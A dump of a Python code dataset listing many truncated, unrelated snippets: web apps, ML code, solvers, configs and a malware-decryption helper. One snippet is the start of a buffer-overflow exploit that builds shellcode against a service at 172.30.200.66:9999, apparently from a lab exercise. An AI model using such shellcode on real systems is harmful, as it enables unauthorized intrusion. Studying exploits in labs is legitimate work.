content
stringlengths
0
1.05M
origin
stringclasses
2 values
type
stringclasses
2 values
from environment import environment as env class syscalls: """This class holds a framework for system calls and should ultimately depend on an architecture template I think. For now, it's basically a function map to allow programming system calls like you really would. """ def __init__(self): ...
nilq/baby-python
python
from astute.__main__ import main from astute.__main__ import Icon if __name__ == '__main__': main(icon=Icon('astute/astute.ico'))
nilq/baby-python
python
# *ex2 - Escreve um programa com laço de repetição para o usuario encerra-lo apenas quando desejar, onde seu objetivo será fornecer a nota musical, bem como sua frequencia. bom base na tecla fornecida pelo usuario from os import system from time import sleep from cores import * def sair(): print(f'\t\t{cor["ve...
nilq/baby-python
python
# coding: utf-8 # libraries import import json from flask import Flask, render_template, redirect, url_for, request, jsonify, flash from flask_zurb_foundation import Foundation from sqlalchemy_wrapper import SQLAlchemy app = Flask(__name__) # Configuration app.config["DEBUG"] = True from models import RandomData,...
nilq/baby-python
python
class Solution(object): def match_note_to_magazine(self, ransom_note, magazine): if ransom_note is None or magazine is None: raise TypeError('ransom_note or magazine cannot be None') seen_chars = {} for char in magazine: if char in seen_chars: seen_ch...
nilq/baby-python
python
# File : text.py # Author : Zhengkun Tian # Email : zhengkun.tian@outlook.com import torch import logging from otrans.data import * from torch.utils.data import Dataset class TextDataset(Dataset): def __init__(self, params, datadict, is_eval=False): self.params = params self.is_eval = is_eva...
nilq/baby-python
python
"""Custom test and setup properties for checkin pull_info provider.""" load("//container:providers.bzl", "PullInfo") def _pull_info_validation_test_impl(ctx): pull_info = ctx.attr.target[PullInfo] compare_script_file = ctx.actions.declare_file("compare.sh") compare_script = """#!/usr/bin/env bash function...
nilq/baby-python
python
# Converting the main code to use datetime objects as well instead of just time objects # Took out defaults from the iter functions import time, math from datetime import datetime from models.energy import defaultModel, load_data, GPSCoordinate#, powerConsumption from models.Predictor import powerGeneration # function ...
nilq/baby-python
python
#!/usr/bin/env python3 #ccc 2021 senior 10/15 from sys import stdin from itertools import repeat m = int(stdin.readline()) n = int(stdin.readline()) k = int(stdin.readline()) canvas = [] for _ in range(m): canvas.append(list(repeat(False,n))) gold = 0 for _ in range(k): query = stdin.readline().split() qu...
nilq/baby-python
python
import requests import json from . import filler, models VALID_HTTP_METHODS = { 'GET': ['url'], 'PATCH': ['url', 'data'], 'PUT': ['url', 'data'], 'POST': ['url', 'data'], 'DELETE': ['url'], } def call(step, responses, config: models.SuiteConfig): """ Main API Caller ...
nilq/baby-python
python
''' Created on 1.12.2016 @author: Darren '''''' Median is the middle value in an ordered integer list. If the size of the list is even, there is no middle value. So the median is the mean of the two middle value. Examples: [2,3,4] , the median is 3 [2,3], the median is (2 + 3) / 2 = 2.5 Design a d...
nilq/baby-python
python
from tkinter import * import sys import os.path sys.path.append(os.path.join(os.path.dirname(__file__), '..')) from search import * import numpy as np distances = {} class TSP_problem(Problem): """ subclass of Problem to define various functions """ def two_opt(self, state): """ Neighbour generatin...
nilq/baby-python
python
import matplotlib.pyplot as plt from matplotlib.patches import Ellipse import matplotlib.animation as animation from matplotlib.text import OffsetFrom import numpy as np import csv a = [] b = [] with open('curvatest.csv','r') as csvfile: plots = csv.reader(csvfile, delimiter=',') for row in plots: a.ap...
nilq/baby-python
python
#!/usr/bin/env python import argparse parser = argparse.ArgumentParser(description='Gossip Chat via GPT2') parser.add_argument('-m', '--model', dest="model", help="pretrained model path") parser.add_argument('-c', '--config', dest="config", help="model config path") parser.add_argument('-p', '--port', dest='port', def...
nilq/baby-python
python
from django.contrib.auth.forms import UserCreationForm from django.contrib.auth.models import User from django import forms from .models import Employee from django.forms import ModelForm, fields from .models import Order from .models import Customer from .models import Tag from .models import Product ...
nilq/baby-python
python
from django.http import HttpResponse from django.shortcuts import reverse from django.views import View class HeavenTestAPIView(View): def get(self, request): link_format = "<a href='{reversed_link}'>{link}</a>" example_urls = [link_format.format(reversed_link=reverse(link), link=link) for link i...
nilq/baby-python
python
""" @author: Gabriele Girelli @contact: gigi.ga90@gmail.com """ import argparse from fastx_barber import scriptio from fastx_barber.const import PATTERN_EXAMPLE, FlagData from fastx_barber.exception import enable_rich_assert from fastx_barber.flag import ( FastqFlagExtractor, FlagStats, get_fastx_flag_extr...
nilq/baby-python
python
""" Minimal and functional version of CPython's argparse module. """ import sys try: from ucollections import namedtuple except ImportError: from collections import namedtuple class _ArgError(BaseException): pass class _Arg: def __init__(self, names, dest, metavar, arg_type, action, nargs, const, d...
nilq/baby-python
python
import json from hashlib import sha256 from typing import List from ..configs import BaseLayerConfig def create_dir_name_from_config(config: BaseLayerConfig, prefix: str = "") -> str: config_class_name = config.__class__.__name__ config_json = json.dumps(config.to_dict_without_cache()) return f"{prefix}{...
nilq/baby-python
python
#!/usr/bin/env python3 # @Time : 27/6/29 2:46 PM # @Author : fangcheng.ji # @FileName: qfl_atss.py import math import torch import torch.nn.functional as F from torch import nn import os from typing import Dict, List from .fcos import Scale from detectron2.modeling.proposal_generator.build import PROPOSAL_GENERAT...
nilq/baby-python
python
# -*- coding: utf-8 -*- # Copyright 2020 The Matrix.org Foundation C.I.C. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless require...
nilq/baby-python
python
#pragma repy # This test tries to do recvmess / stopcomm in a loop def foo(ip,port,mess, ch): print ip,port,mess,ch if callfunc == 'initialize': for x in xrange(0,10): ch = recvmess(getmyip(),<messport>,foo) sleep(.1) stopcomm(ch) sleep(.1)
nilq/baby-python
python
import os from datetime import timedelta class Config(object): DEBUG = False AUTHENTICATED_SEARCH_API = os.environ['AUTHENTICATED_SEARCH_API'] SQLALCHEMY_DATABASE_URI = os.environ['DATABASE_URL'] CASES_URL = os.environ['CASES_URL'] MATCHING_URL = os.environ['MATCHING_URL'] OWNERSHIP_URL = os.en...
nilq/baby-python
python
import gym import random import tensorflow import numpy as np from collections import deque import matplotlib.pyplot as plt import utils.utils as utils import tensorflow as tf from ddpg_tf import DDPG env = gym.make('BipedalWalker-v2') env.seed(0) sess = tf.Session() agent = DDPG('ddpg', utils.load_args(), sess=sess)...
nilq/baby-python
python
from factory import robot import rospy from std_msgs.msg import Float64 from std_msgs.msg import Bool from geometry_msgs.msg import Point import time as t import math as m t0=t.time() Robot=None class rosact(object): def __init__(self): rospy.init_node('act') self.pubs=[] self.pubs.append(...
nilq/baby-python
python
import time from os import path from collections import defaultdict import pandas as pd from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from ...
nilq/baby-python
python
import pandas as pd import matplotlib.pyplot as plt import math class Frame(): def __init__(self, path_): self.path = path_ self.data =pd.read_csv(filepath_or_buffer=path_, delimiter=',') def clean(self, subs:bool): Ncol = len( self.data.columns ) self.data.dropna(inplace=Tru...
nilq/baby-python
python
# 본 Code에서 사용할 tensorflow, matplotlib.pyplot, nupmy, random을 import한다. import tensorflow as tf import matplotlib.pyplot as plt import numpy as np import random # MNIST data를 불러오고 이를 one_hot encoding합니다. from tensorflow.examples.tutorials.mnist import input_data mnist = input_data.read_data_sets("./mnist/data/", one_ho...
nilq/baby-python
python
def kw_only_args(*, kwo): pass def kw_only_args_with_varargs(*varargs, kwo, another='default'): pass
nilq/baby-python
python
# Copyright 2017 NTRLab # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, softw...
nilq/baby-python
python
import logging from logging.config import dictConfig def setup(conf): dictConfig(conf) class LoggerMixIn: def __init__(self, *args, **kwargs): logger_name = getattr(self, "__logger_name__", self.__class__.__name__) self.logger = logging.getLogger(logger_name) for lvl in ["CRITICAL"...
nilq/baby-python
python
# Copyright © 2019 Province of British Columbia # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agr...
nilq/baby-python
python
from . import location
nilq/baby-python
python
import os import sys import time import machine import badger2040 from badger2040 import WIDTH, HEIGHT REAMDE = """ Images must be 296x128 pixel with 1bit colour depth. You can use examples/badger2040/image_converter/convert.py to convert them: python3 convert.py --binary --resize image_file_1.png image_file_2.png ...
nilq/baby-python
python
import requests from requests_oauthlib import OAuth1 import json reload(sys) sys.setdefaultencoding("utf-8") params = {'app_key': 'xx', 'app_secret': 'xx', 'access_token': 'xx-xx', 'access_secret': 'xx'} auth = OAuth1(params['app_key'], params['app_secret'], ...
nilq/baby-python
python
# -*- coding: utf-8 -*- import matplotlib.pyplot as plt from ....Functions.init_fig import init_fig def plot( self, fig=None, ax=None, sym=1, alpha=0, delta=0, is_edge_only=False, comp_machine=None, is_show_fig=True, save_path=None, win_title=None, ): """Plot the Machin...
nilq/baby-python
python
from core.Model import * from core.Utils import Utils from models.User import User from models.AppVersion import AppVersion class Device(Base, Model): __tablename__ = "device" id = Column(BigInteger, primary_key=True, autoincrement=True) uuid = Column(String(300), nullable=False) user_id = Column(Int...
nilq/baby-python
python
from .BaseCamera import BaseCamera import numpy as np import math class PersPectiveCamera(BaseCamera): def __init__(self): BaseCamera.__init__(self, "PerspectiveCamera") def get_projection_mat(self): # http://www.songho.ca/opengl/gl_projectionmatrix.html projection_mat = np.eye(4) ...
nilq/baby-python
python
""" django admin pages for program support models """ from config_models.admin import ConfigurationModelAdmin from django.contrib import admin from openedx.core.djangoapps.programs.models import ProgramsApiConfig class ProgramsApiConfigAdmin(ConfigurationModelAdmin): pass admin.site.register(ProgramsApiConfi...
nilq/baby-python
python
import pandas def find_na(df): print(pd.isna(df).sum())
nilq/baby-python
python
#!/usr/bin/env python3 import pyglet import glooey import run_demos window = pyglet.window.Window() gui = glooey.Gui(window) bin = glooey.Bin() widget = glooey.Placeholder(100, 100) bin.add(widget) gui.add(bin) @run_demos.on_space(gui) def test_bin(): bin.add(widget) yield "Put a widget in the bin." bi...
nilq/baby-python
python
# -*- coding:utf-8 -*- import os import random import matplotlib.pyplot as plt import numpy as np import pandas as pd import sentencepiece as spm import tensorflow as tf import tensorflow.keras.backend as K os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' random_seed = 1234 random.seed(random_seed) np.random.seed(random_see...
nilq/baby-python
python
#!/usr/bin/python import simple_test simple_test.test("test9", ["-VVV", "-N", "--noise", "-rr", ], expect_fail=True)
nilq/baby-python
python
import minpy import minpy.numpy as np import minpy.numpy.random as random from minpy.core import grad_and_loss # from examples.utils.data_utils import gaussian_cluster_generator as make_data # from minpy.context import set_context, gpu # Please uncomment following if you have GPU-enabled MXNet installed. # This single...
nilq/baby-python
python
from .pytorch_sampler import PyTorchSampler from .sampler import Sampler from .unigram import UnigramDistribution from .vocab import Vocabulary
nilq/baby-python
python
import json import os import tempfile from datetime import datetime, timedelta from enum import Enum from itertools import zip_longest, groupby from threading import Timer from typing import Any, List, Optional, Dict, Iterable, Tuple, Set import sentry_sdk from telegram import ParseMode, TelegramError, Update, Message...
nilq/baby-python
python
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright © 2007 Free Software Foundation, Inc. <https://fsf.org/> # # Licensed under the GNU General Public License, version 3 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://jxs...
nilq/baby-python
python
# # Copyright (c) 2017-2018 Joy Diamond. All rights reserved. # __import__('Boot').boot() def line(format, *args): print format % args def main(): if 0: from Pattern import make_match_function joy_match = make_match_function('[Aa](m)i(?P<what>t)\Z') else: import _sre ...
nilq/baby-python
python
# -*- coding: utf-8 -*- """ Created on Wed Jul 20 15:12:49 2016 @author: uzivatel """ import numpy as np import scipy from functools import partial from copy import deepcopy from .general import Coordinate,Grid from ...General.UnitsManager import PositionUnitsManaged,position_units from ...General.types ...
nilq/baby-python
python
from unittest import TestCase from unittest.mock import patch import getting_logs class TestGetLog(TestCase): """Testing of getting logs from a third-party resource. Testing the correctness of the transmitted data for saving to the database.""" @classmethod def setUpClass(cls): super().s...
nilq/baby-python
python
# coding: utf8 import requests import json import os import time import pymysql.cursors connection = pymysql.connect(host='127.0.0.1', port=3306, user='ub', password='UB@018_world_cup', db='db_world_cup', charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor) g_stake_addre...
nilq/baby-python
python
from .bar import f
nilq/baby-python
python
from django.contrib.auth.models import User from django_grpc_framework import proto_serializers import account_pb2 class UserProtoSerializer(proto_serializers.ModelProtoSerializer): class Meta: model = User proto_class = account_pb2.User fields = ['id', 'username', 'email', 'groups']
nilq/baby-python
python
from minecraftmath import calculator from system import window_management as wm xFirThr = 0 zFirThr = 0 angleFirThr = 0 def findSecondSuggestedThrow(startPosX, startPosZ, startAngle): global xFirThr, zFirThr, angleFirThr xFirThr = startPosX zFirThr = startPosZ angleFirThr = startAngle inRing, dist...
nilq/baby-python
python
"""The builtin object type implementation""" from pypy.interpreter.baseobjspace import W_Root from pypy.interpreter.error import OperationError, oefmt from pypy.interpreter.gateway import applevel, interp2app, unwrap_spec from pypy.interpreter.typedef import ( GetSetProperty, TypeDef, default_identity_hash) from p...
nilq/baby-python
python
import collections from sgfs import SGFS ReferenceStatus = collections.namedtuple('ReferenceStatus', ('path', 'used', 'latest', 'is_latest', 'all')) def check_paths(paths, only_published=True): sgfs = SGFS() res = [] for path in paths: publishes = sgfs.entities_from_path(path...
nilq/baby-python
python
''' Written by Jason Reaves - @sysopfb Free to use, attribute properly. ''' import sys import pefile import struct import re def decrypt(keystream, blob): for i in range(len(blob)): blob[i] ^= keystream[i%len(keystream)] def rc4_crypt(data, sbox): S = list(sbox) out = [] i = j = 0 for char in data: i = ( ...
nilq/baby-python
python
#!/usr/bin/env python # -*- coding: utf-8 -*- __title__ = 'baidupcsapi' __version__ = '0.2.12' __author__ = 'mozillazg,latyas' __license__ = 'MIT' from .api import PCS
nilq/baby-python
python
import inspect class SuperMixin(object): def super(cls, *args, **kwargs): frame = inspect.currentframe(1) self = frame.f_locals['self'] methodName = frame.f_code.co_name method = getattr(super(cls, self), methodName, None) if inspect.ismethod(method): return metho...
nilq/baby-python
python
#Includes BaseClassApi class import BaseClassApi class Augmentor(BaseClassApi.Api): pass #print "This is augmentor api class: \n" def execute_augmentor_api(): BaseClassApi.Api.url_path = "api/v1/augmentors" aug_api = Augmentor() #This module gives list of organizations available. ...
nilq/baby-python
python
from ..abstract import ErdReadOnlyConverter from ..primitives import * from gehomesdk.erd.values.oven import OvenConfiguration, ErdOvenConfiguration class OvenConfigurationConverter(ErdReadOnlyConverter[OvenConfiguration]): def erd_decode(self, value: str) -> OvenConfiguration: if not value: n ...
nilq/baby-python
python
from __future__ import unicode_literals import datetime from django.http import Http404 from django.utils.timezone import utc from model_mommy import mommy from kb.tests.test import ViewTestCase from kb.models import Article class TestCategoryFeed(ViewTestCase): view_name = 'kb:category_feed' view_kwargs ...
nilq/baby-python
python
""" test_ext_autodoc_configs ~~~~~~~~~~~~~~~~~~~~~~~~ Test the autodoc extension. This tests mainly for config variables :copyright: Copyright 2007-2021 by the Sphinx team, see AUTHORS. :license: BSD, see LICENSE for details. """ import platform import sys import pytest from sphinx.testing imp...
nilq/baby-python
python
from collections import Counter def mejority(lst): freDict = Counter(lst) size = len(lst) for key, value in freDict.items(): if value > (size//2): print(key) return print("None") if __name__ == "__main__": lst = [3, 3, 4, 2, 4, 4, 2, 2,2,2,2] mejority(lst)
nilq/baby-python
python
import pytest import pathlib from align.cell_fabric import Canvas, Pdk, Wire mydir = pathlib.Path(__file__).resolve().parent pdkfile = mydir.parent.parent / 'pdks' / 'FinFET14nm_Mock_PDK' / 'layers.json' @pytest.fixture def setup(): p = Pdk().load(pdkfile) c = Canvas(p) c.addGen( Wire( nm='m2', layer='M2...
nilq/baby-python
python
# -*- coding: utf-8 -*- """ Script Name: PipelineTool.py Author: Do Trinh/Jimmy - 3D artist. Description: This is main UI of PipelineTool. """ # ------------------------------------------------------------------------------------------------------------- """ Import """ # PLM from PLM ...
nilq/baby-python
python
from pyiced import ( column, css_color, IcedApp, Length, radio, Settings, text, WindowSettings, ) class RadioExample(IcedApp): class settings(Settings): class window(WindowSettings): size = (640, 320) def __init__(self): self.__season = None def title(self): r...
nilq/baby-python
python
# Copyright (C) 2021 ServiceNow, Inc. """ Combine output datasets from different source datasets e.g. If you have generated training datasets for dataset A and dataset B you can combine them into A+B using this script It will *not* overwrite existing files (an error will be thrown). Input files must ...
nilq/baby-python
python
import logging, queue from datetime import datetime import threading from time import strftime from .scanner_thread import ScannerThread from scapy.all import * class PyScanner: def __init__(self, params_names={"-threads":5, "-ip": "127.0.0.1", "-ports":"0-100", "-scan_type": "S"}): # print("ok") #...
nilq/baby-python
python
def som(n): if len(n) == 1: return n s = 0 for i in range(len(n)): s += int(n[i]) return som(str(s)) while True: e = str(input()).split() a = e[0] b = e[1] if a == b == '0': break ta = som(a) tb = som(b) if ta > tb: print(1) elif ta < tb: print(2) else: prin...
nilq/baby-python
python
# Generated by Django 2.0.4 on 2018-12-13 12:38 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('tradukoj', '0007_bcp47_default'), ] operations = [ migrations.CreateModel( name='GetTextFile', ...
nilq/baby-python
python
import shutil from pathlib import Path import hydra import matplotlib.pyplot as plt import numpy as np import torch from hydra.utils import to_absolute_path from omegaconf import OmegaConf from torch import nn, optim from torch.utils import data as data_utils from torch.utils.tensorboard import SummaryWriter from ttsl...
nilq/baby-python
python
## Licensed under the Apache License, Version 2.0 (the "License"); ## you may not use this file except in compliance with the License. ## You may obtain a copy of the License at ## ## http://www.apache.org/licenses/LICENSE-2.0 ## ## Unless required by applicable law or agreed to in writing, software ## distributed...
nilq/baby-python
python
from flask import flash def Euclidean_Algorithm(number_x, number_y): try: x, y = int(number_x), int(number_y) r = x % y while r > 0: x = y y = r r = x % y else: gcd = y anser = str(number_x)+"と"+str(number_y)+"の最大公約数は"+str(gc...
nilq/baby-python
python
def extract_json(html):
nilq/baby-python
python
# BSD 3-Clause License; see https://github.com/scikit-hep/awkward-1.0/blob/main/LICENSE from __future__ import absolute_import from awkward._ext import fromjson from awkward._ext import uproot_issue_90
nilq/baby-python
python
from django.urls import path #from account.forms import LoginForm from django.views.generic.base import TemplateView # new from . import views app_name = 'home' urlpatterns = [ #ex: /roster/ path('', views.index, name='index'), path('coachhome/<int:pk>', views.coachhome.as_view(template_name...
nilq/baby-python
python
# Copyright (c) 2018-2019 Robin Jarry # SPDX-License-Identifier: BSD-3-Clause from _libyang import ffi from _libyang import lib from .util import c2str from .util import str2c #------------------------------------------------------------------------------ def schema_in_format(fmt_string): if fmt_string == 'yang...
nilq/baby-python
python
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! import grpc from google.ads.google_ads.v1.proto.resources import language_constant_pb2 as google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_language__constant__pb2 from google.ads.google_ads.v1.proto.services import language_constant_serv...
nilq/baby-python
python
import logging from torch.utils.tensorboard import SummaryWriter from utils.utils_common import DataModes import torch logger = logging.getLogger(__name__) class Trainer(object): def training_step(self, data, epoch): # Get the minibatch x, y = data self.optimizer.zero_grad() los...
nilq/baby-python
python
from datetime import datetime from . import db, ma class NRNumber(db.Model): __tablename__ = 'nr_number' # core fields id = db.Column(db.Integer, primary_key=True) nrNum = db.Column('nr_num', db.String(10), unique=True) lastUpdate = db.Column('last_update', db.DateTime(timezone=True), d...
nilq/baby-python
python
""" This module provides some helper methods to deal with multidimensional arrays of different axes order. """ import numpy as np def adjustOrder(volume, inputAxes, outputAxes="txyzc"): """ This method allows to convert a given `volume` (with given `inputAxes` ordering) into a different axis ordering, spe...
nilq/baby-python
python
from keras.models import load_model from glob import glob import keras import numpy as np from losses import * import random from keras.models import Model from extract_patches import Pipeline from scipy.misc import imresize from keras.utils import np_utils import SimpleITK as sitk import pdb import matplotlib.pyplot a...
nilq/baby-python
python
class Node: def __init__(self, value): self.value = value self.next = None def __repr__(self): return str(self.value) class LinkedList: def __init__(self): self.head = None def __str__(self): cur_head = self.head out_string = "" while cur_head:...
nilq/baby-python
python
# Generated by Django 2.2.12 on 2020-07-18 19:09 import ckeditor.fields from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('core', '0019_order_refrence_code'), ] operations = [ migrations.AlterField( model_name='historicalitem', ...
nilq/baby-python
python
import unittest import math_module class TestMath(unittest.TestCase): def setUp(self): self.zir = math_module.Analysis('test_zircon', 15, (0.2003, 0.0008, 0.0046), (2.082, 0.009, 0.07), 0.6, 0.6, (0.0617, 0.0003, 0.0003), (0.758, 0.0003, 0.0015), (0, 0, 0), (0, 0, 0), (0,...
nilq/baby-python
python
PATHS = dict( REPOS_FILE = 'config/repos.json', DAILY_REPORTS_PATH = 'reports/daily', WEEKLY_REPORTS_PATH = 'reports/weekly' )
nilq/baby-python
python
from django.contrib import admin from ddweb.apps.references.models import Reference class ReferenceAdmin(admin.ModelAdmin): list_display = ( "ship", "year", "description", "ongoing", "beforeDD", "image_admin_url", ) def image_admin_url(self, obj): r...
nilq/baby-python
python
#!/usr/bin/env python import numpy import numpy.linalg from pyscf import gto, scf, mcscf mol = gto.M(atom=['H 0 0 %f'%i for i in range(10)], unit='Bohr', basis='ccpvtz') # # A regular SCF calculation for this sytem will raise a warning message # # Warn: Singularity detected in overlap matrix (condition n...
nilq/baby-python
python
from numpy import prod def persistence(n): if n < 10: return 0 nums = [int(x) for x in str(n)] steps = 1 while prod(nums) > 9: nums = [int(x) for x in str(int(prod(nums)))] steps += 1 return steps
nilq/baby-python
python
#!/usr/bin/python # -*- coding: utf-8 -*- import sys import socket from time import sleep from struct import * host= "172.30.200.66" port = 9999 payload = "" # Estagio 2 -> Realinhamento da pilha para encontrar o FileDescriptor payload += "\x54" # push esp payload += "\x59" # p...
nilq/baby-python
python
from mpi4py import MPI comm = MPI.COMM_WORLD rank = comm.Get_rank() size = comm.Get_size() import numpy as np ################################################################################ ### ### USAGE ### list_of_objects = parutil.init(list_of_object) ### ### DO WHAT YOU WANT ### list_of object = parut...
nilq/baby-python
python
#!/usr/bin/env python import argparse parser = argparse.ArgumentParser() parser.add_argument("-i", "--input", type=str, help="database file input") parser.add_argument("-o", "--output", type=str, help="filtered fasta output") parser.add_argument("-k", "--keyword", type=str, help="filter records to include keyword") ar...
nilq/baby-python
python
# PyAlgoTrade # # Copyright 2011-2018 Gabriel Martin Becedillas Ruiz # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ap...
nilq/baby-python
python
""" Custom SCSS lexer ~~~~~~~~~~~~~~~~~ This is an alternative to the Pygments SCSS lexer which is broken. Note, this SCSS lexer is also broken, but just a bit less broken. """ import re from pygments.lexer import ExtendedRegexLexer from pygments.lexers.css import ( bygroups, copy, Comment...
nilq/baby-python
python
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Create a fastq file from fasta file with fake quality values all equal. """ import sys from Bio import SeqIO # Get inputs fa_path = sys.argv[1] fq_path = sys.argv[2] # Make fastq with open(fa_path, "rb") as fasta, open(fq_path, "wb") as fastq: for record in SeqI...
nilq/baby-python
python
from Common import * import os photos = set() async def save_photo(photo): id = photo.id if id not in photos: await bot.download_media(photo, get_path(id)) photos.add(id) return get_path(id) def rename_to_id(name, id): os.rename(get_path(name), get_path(id)) photos.add(id) de...
nilq/baby-python
python
from beem import Steem stm = Steem() print(stm.get_config(1)["STEEMIT_MAX_PERMLINK_LENGTH"]) print(stm.get_config()["STEEMIT_MIN_PERMLINK_LENGTH"])
nilq/baby-python
python
from http.server import HTTPServer, SimpleHTTPRequestHandler, BaseHTTPRequestHandler from zipreport.cli.debug.server import DebugServer class DebugServerHandler(BaseHTTPRequestHandler): def __init__(self, *args, report=None, **kwargs): self._report = report super().__init__(*args, **kwargs) ...
nilq/baby-python
python
# Generated by Django 3.2.7 on 2021-11-23 16:39 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('blog', '0001_initial'), migrations.swappable_dependency(setting...
nilq/baby-python
python